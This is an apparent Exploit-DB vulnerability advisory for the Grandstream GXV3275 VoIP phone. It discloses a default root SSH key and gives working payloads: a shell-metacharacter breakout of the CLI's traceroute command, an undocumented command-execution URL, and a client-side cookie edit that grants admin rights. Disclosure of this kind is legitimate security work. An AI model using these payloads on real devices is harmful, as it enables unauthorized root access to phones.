Grandstream GXV3275 Vulnerabilities

vendor:

GXV3275

by:

David Jorm

9.8

CVSS

HIGH

Default root SSH key, Command Injection, Undocumented Command Execution API, Unprivileged User Privilege Escalation

78, 77, 264, 285

CWE

Product Name: GXV3275

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Android

2015

Grandstream GXV3275 Vulnerabilities

The Grandstream GXV3275 is an Android-based VoIP phone. Several vulnerabilities were found affecting this device. The device ships with a default root SSH key, which could be used as a backdoor. The SSH interface only provides access to a limited CLI, which can be exploited to break out to a shell. The web interface exposes an undocumented command execution API, and allows unprivileged users to escalate privileges by modifying a cookie on the client side.

Mitigation:

Upgrade to firmware version 1.0.3.30 or later.

Source

Exploit-DB raw data:

The Grandstream GXV3275 is an Android-based VoIP phone. Several
vulnerabilities were found affecting this device.

* The device ships with a default root SSH key, which could be used as a
backdoor:

/system/root/.ssh # cat authorized_keys
Public key portion is:
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIcYbgmdHTpTeDcBA4IOg5Z7d2By0GXGihZzcTxZC+YTWGUe/HJc+pYDpDrGMWg0hMqd+JPs1GaLNw4pw0Mip6VMT7VjoZ8Z+n2ULNyK1IoTU4C3Ea4vcYVR8804Pvh9vXxC0iuMEr1Jx7SewUwSlABX04uVpEObgnUhpi+hn/H34/
jhzhao@jhzhao-Lenovo
Fingerprint: md5 7b:6e:a0:00:19:54:a6:39:84:1f:f9:18:2e:79:61:b5

This issue has not been resolved.

* The SSH interface only provides access to a limited CLI. The CLI's ping
and traceroute commands will pass user input as parameters to underlying
system commands without escaping shell metacharacters. This can be
exploited to break out to a shell:

GXV3275 > traceroute $(sh)

This shell will only see stderr, so we then need to run sh with stdout
redirected to stderr:

sh 1>&2

This issue has been resolved in firmware version 1.0.3.30.

* The web interface exposes an undocumented command execution API:


http://DEVICEIP/manager?action=execcmd&command=echo%20%22hello%22%20%3E%20/system/root/test.txt

This issue has been resolved in firmware version 1.0.3.30.

* The web interface allows unprivileged users to escalate privileges by
modifying a cookie on the client side:

javascript:void(document.cookie="type=admin")

Full details are available here:

http://davidjorm.blogspot.com/2015/07/101-ways-to-pwn-phone.html

MITRE was contacted repeatedly requesting CVE names for these issues, but
never replied.

David